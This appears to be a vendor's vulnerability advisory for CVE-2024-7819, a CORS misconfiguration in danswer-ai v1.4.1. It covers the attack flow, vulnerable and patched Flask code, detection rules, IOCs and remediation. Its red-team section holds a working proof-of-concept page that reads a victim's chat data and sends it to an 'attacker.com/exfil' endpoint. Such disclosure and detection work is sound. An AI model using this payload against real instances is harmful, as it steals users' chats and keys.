CVE-2024-7819
Executive Summary
CVE-2024-7819 is a Cross-Origin Resource Sharing (CORS) misconfiguration vulnerability in danswer-ai/danswer v1.4.1. The application fails to properly validate the Origin header, allowing any malicious web page to make unauthorized cross-origin requests to the Danswer API. This enables attackers to steal sensitive information such as chat contents, API keys, and other data. The vulnerability has a CVSS score of 7.4 (High) and is currently unpatched. No EPSS score or public exploit code has been observed, but the attack vector is straightforward and requires only user interaction (e.g., visiting a malicious site).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Python package danswer-ai (PyPI). Organizations using this package should immediately review their deployment for CORS misconfigurations and consider implementing strict origin validation or using a reverse proxy to enforce CORS policies.
CVSS Breakdown & Threat Level
- CVSS Score: 7.4 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must visit malicious page)
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
Deep Dive & Mechanics
The vulnerability stems from improper validation of the Origin header in the Danswer API. When a web application receives a cross-origin request, it should check the Origin header against a whitelist of allowed origins. In Danswer v1.4.1, the server either reflects the Origin header in the Access-Control-Allow-Origin response header without validation or uses a wildcard (*), allowing any domain to make requests.
Attack Flow:
- Attacker hosts a malicious webpage on
evil.com. - Victim (authenticated to Danswer) visits
evil.com. - The malicious page makes an XMLHttpRequest or fetch to
https://danswer-instance.com/api/chator similar endpoints. - The browser sends the request with the victim's cookies (if
credentials: 'include'is used). - The Danswer server responds with
Access-Control-Allow-Origin: https://evil.com(or*), allowing the attacker to read the response. - The attacker exfiltrates chat contents, API keys, or other sensitive data.
Vulnerable vs. Patched Code
Vulnerable Code (v1.4.1):
# Example of vulnerable CORS configuration
from flask_cors import CORS
app = Flask(__name__)
CORS(app) # Allows all origins by default
Patched Code (Hypothetical):
# Example of patched CORS configuration
from flask_cors import CORS
app = Flask(__name__)
CORS(app, origins=["https://trusted-domain.com", "https://another-trusted.com"])
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A running Danswer instance (v1.4.1) with a victim user logged in.
- A malicious webpage hosted on an attacker-controlled domain.
Exploit Steps:
- Create a malicious HTML page:
<!DOCTYPE html>
<html>
<head>
<title>Exploit CVE-2024-7819</title>
</head>
<body>
<h1>Click me!</h1>
<script>
fetch('https://victim-danswer.com/api/chat', {
credentials: 'include'
})
.then(response => response.text())
.then(data => {
// Exfiltrate data to attacker server
new Image().src = 'https://attacker.com/exfil?data=' + encodeURIComponent(data);
});
</script>
</body>
</html>
- Host the page on
attacker.com. - Send the link to the victim (e.g., via phishing email).
- When the victim clicks, the script fetches chat data from the Danswer API and sends it to the attacker's server.
Blue Team (Detection & Defense)
Detection:
- Monitor for unexpected
Originheaders in API requests. - Look for
Access-Control-Allow-Originheaders reflecting untrusted origins. - Use browser developer tools to inspect network requests for CORS violations.
Defense:
- Implement strict origin validation on the server side.
- Use a reverse proxy (e.g., Nginx) to enforce CORS policies:
location /api/ {
if ($http_origin ~* (https://trusted\.com|https://another\.com)) {
add_header Access-Control-Allow-Origin $http_origin;
}
}
- Disable CORS entirely if not needed, or use a whitelist.
Indicators of Compromise (IOCs)
- Network:
- HTTP requests with
Originheader set to untrusted domains. - Responses with
Access-Control-Allow-Origin: *or reflecting arbitrary origins.
- HTTP requests with
- Logs:
- Server logs showing
Origin: https://evil.comin API requests. - Browser console errors related to CORS (though these may not appear if the exploit succeeds).
- Server logs showing
- File:
- No specific file-based IOCs.
Detection Engineering
YARA Rule
rule CVE_2024_7819_CORS_Misconfig {
meta:
description = "Detects CORS misconfiguration in Danswer API responses"
author = "Valters IT"
date = "2024-10-01"
reference = "CVE-2024-7819"
strings:
$cors_header = "Access-Control-Allow-Origin: *"
$cors_reflect = /Access-Control-Allow-Origin: https?:\/\/[^"]+/
condition:
$cors_header or $cors_reflect
}
Sigma Rule
title: CORS Misconfiguration in Danswer API
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP responses with permissive CORS headers from Danswer API
author: Valters IT
logsource:
category: webserver
product: nginx
detection:
selection:
response_header|contains:
- 'Access-Control-Allow-Origin: *'
- 'Access-Control-Allow-Origin: http://'
- 'Access-Control-Allow-Origin: https://'
condition: selection
falsepositives:
- Legitimate use of wildcard CORS for public APIs
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-7819 - CORS Misconfiguration in Danswer API"; flow:to_client; content:"Access-Control-Allow-Origin"; http_header; pcre:"/Access-Control-Allow-Origin:\s*\*/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable CORS if not required for the application.
- Implement a strict origin whitelist on the server side.
- Use a reverse proxy (e.g., Nginx, Apache) to enforce CORS policies.
- Update to the latest version of Danswer if a patch becomes available.
Long-term Fix:
- The vendor should release a patched version that validates the
Originheader against a whitelist. - Conduct a security audit of all API endpoints for CORS misconfigurations.
Workaround:
- If you cannot patch immediately, restrict access to the Danswer API using network-level controls (e.g., firewall rules, VPN).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.